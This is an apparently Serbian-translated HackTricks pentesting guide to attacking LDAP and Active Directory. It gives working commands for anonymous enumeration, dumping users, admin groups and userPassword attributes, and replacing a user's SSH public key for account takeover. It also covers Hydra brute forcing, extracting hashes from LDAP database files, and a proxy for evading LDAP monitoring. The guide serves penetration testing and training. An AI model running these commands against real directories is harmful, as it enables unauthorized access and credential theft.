389, 636, 3268, 3269 - Pentesting LDAP
Reading time: 14 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Korišćenje LDAP (Lightweight Directory Access Protocol) prvenstveno služi za pronalaženje različitih entiteta kao što su organizacije, pojedinci i resursi kao što su fajlovi i uređaji unutar mreža, kako javnih tako i privatnih. On pruža pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP, zahvaljujući manjem obimu koda.
LDAP direktorijumi su strukturirani tako da omogućavaju distribuciju preko više servera, pri čemu svaki server sadrži replikovanu i sinhronizovanu verziju direktorijuma, nazvanu Directory System Agent (DSA). Odgovornost za obradu zahteva leži u potpunosti na LDAP serveru, koji može komunicirati sa drugim DSA-ima po potrebi kako bi podneo objedinjeni odgovor podnosiocu zahteva.
Organizacija LDAP direktorijuma podseća na hijerarhijsko stablo, koje počinje sa root directory na vrhu. Ono se granа prema zemljama, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju različite sektore ili odeljenja, na kraju dostižući nivo pojedinačnih entiteta, uključujući i ljude i deljene resurse kao što su fajlovi i štampači.
Podrazumevani port: 389 i 636(ldaps). Global Catalog (LDAP in ActiveDirectory) je podrazumevano dostupan na portovima 3268, i 3269 za LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Add, Modify, Delete, Rename).
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Linije 1-3 definišu top-level domen local
- Linije 5-8 definišu prvi nivo domena moneycorp (moneycorp.local)
- Linije 10-16 definišu 2 organizacione jedinice: dev i sales
- Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima
Upis podataka
Imajte na umu da ako možete menjati vrednosti, mogli biste izvesti veoma zanimljive akcije. Na primer, zamislite da možete promeniti informaciju "sshPublicKey" svog korisnika ili bilo kog korisnika. Veoma je verovatno da, ako ovaj atribut postoji, onda ssh učitava javne ključeve iz LDAP. Ako možete izmeniti javni ključ korisnika, moći ćete da se prijavite kao taj korisnik čak i ako autentifikacija lozinkom nije omogućena u ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Presretanje kredencijala u čistom tekstu
Ako se LDAP koristi bez SSL, možete presresti kredencijale u plain text u mreži.
Takođe, možete izvesti MITM napad u mreži između LDAP servera i klijenta. Ovde možete napraviti Downgrade Attack tako da klijent koristi kredencijale u čistom tekstu za prijavu.
Ako se koristi SSL možete pokušati izvesti MITM kao gore pomenuto, ali nudeći lažni sertifikat; ako korisnik ga prihvati, bićete u mogućnosti da izvršite Downgrade metode autentikacije i ponovo vidite kredencijale.
Anonimni pristup
Bypass TLS SNI check
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonymous binds
LDAP anonymous binds allow neautentifikovanim napadačima da povuku informacije iz domena, kao što su potpuni spisak korisnika, grupa, računara, atributa korisničkih naloga i politika lozinki domena. Ovo je zastarela konfiguracija, i od Windows Server 2003, samo autentifikovani korisnici smeju inicirati LDAP zahteve.
Međutim, administratori su možda morali da konfigurišu određenu aplikaciju da dozvoli anonymous binds i dodelili su više pristupa nego što je predviđeno, čime su neautentifikovanim korisnicima omogućili pristup svim objektima u AD.
Anonymous LDAP enumeration with NetExec (null bind)
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Korisni filteri:
- (objectClass=*) za inventarizaciju objekata pod base DN-om
- (sAMAccountName=*) za prikupljanje korisničkih principala
Primeri:
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
Na šta treba obratiti pažnju:
- sAMAccountName, userPrincipalName
- memberOf i pozicioniranje u OU za ograničavanje targeted sprays
- pwdLastSet (vremenski obrasci), userAccountControl flags (disabled, smartcard required, itd.)
Napomena: Ako anonymous bind nije dozvoljen, obično će se pojaviti Operations error koji ukazuje da je bind potreban.
Važeći kredencijali
Ako imate važeće kredencijale za prijavu na LDAP server, možete izvući sve informacije o Domain Admin koristeći:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Enumeracija
Automatski
Korišćenjem ovoga moći ćete da vidite javno dostupne informacije (kao što je ime domena):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
Pogledajte LDAP enumeration u Python-u
Možete pokušati da enumerate LDAP-a sa ili bez credentials koristeći Python: pip3 install ldap3
Prvo pokušajte da se povežete bez credentials:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Ako je odgovor True kao u prethodnom primeru, možete dobiti neke interesantne podatke o LDAP serveru (kao što su naming context ili domain name) iz:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Kada imate naming context, možete napraviti nekoliko zanimljivijih upita. Ovaj jednostavan upit bi trebalo da vam prikaže sve objekte u direktorijumu:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Ili dump ceo ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch je Python skripta korisna za enumeraciju korisnika, grupa i računara iz Windows domena korišćenjem LDAP upita.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Proveri null credentials ili da li su tvoji credentials važeći:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Ako naiđete na poruku koja kaže "bind must be completed", to znači da su kredencijali pogrešni.
Možete izvući sve iz domena koristeći:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Izdvoji korisnike:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Izdvajanje računara:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci moje informacije:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvucite Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izdvoji Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izdvajanje Administratora:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izdvoji Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Da biste proverili da li imate pristup bilo kojoj lozinki, možete koristiti grep nakon izvršavanja jednog od upita:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Imajte na umu da lozinke koje možete pronaći ovde možda nisu prave...
pbis
Možete preuzeti pbis ovde: https://github.com/BeyondTrust/pbis-open/ and it's usually installed in /opt/pbis.
Pbis vam omogućava da lako dobijete osnovne informacije:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Grafički interfejs
Apache Directory
Download Apache Directory from here. You can find an example of how to use this tool here.
jxplorer
Možete preuzeti grafički interfejs sa LDAP serverom ovde: http://www.jxplorer.org/downloads/users.html
Podrazumevano je instaliran u: /opt/jxplorer
.png)
Godap
Godap je interaktivni terminalski korisnički interfejs za LDAP koji se može koristiti za interakciju sa objektima i atributima u AD i drugim LDAP serverima. Dostupan je za Windows, Linux i MacOS i podržava simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, kao i nekoliko drugih specijalizovanih funkcija, kao što su pretraga/kreiranje/izmena/brisanje objekata, dodavanje/uklanjanje korisnika iz grupa, promena lozinki, uređivanje permisija objekata (DACLs), modifikovanje Active-Directory Integrated DNS (ADIDNS), eksportovanje u JSON fajlove, itd.

Možete mu pristupiti na https://github.com/Macmod/godap. Za primere upotrebe i uputstva pročitajte Wiki.
Ldapx
Ldapx je fleksibilan LDAP proxy koji se može koristiti za inspekciju i transformaciju LDAP saobraćaja iz drugih alata. Može se koristiti za obfuskaciju LDAP saobraćaja u pokušaju da se zaobiđu identity protection & LDAP monitoring alati i implementira većinu metoda predstavljenih u MaLDAPtive talku.

Možete ga nabaviti sa https://github.com/Macmod/ldapx.
Autentifikacija putem kerberos
Korišćenjem ldapsearch možete se autentifikovati pomoću kerberos umesto preko NTLM, koristeći parametar -Y GSSAPI
POST
Ako možete pristupiti fajlovima u kojima se nalaze baze podataka (mogu biti u /var/lib/ldap). Možete izvući hashes koristeći:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Možete proslediti john password hash (od '{SSHA}' do 'structural' bez dodavanja 'structural').
Konfiguracioni fajlovi
- Opšte
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
HackTricks automatske komande
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
Reference
- HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin
- NetExec (CME successor)
- Microsoft: Anonymous LDAP operations to Active Directory are disabled
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks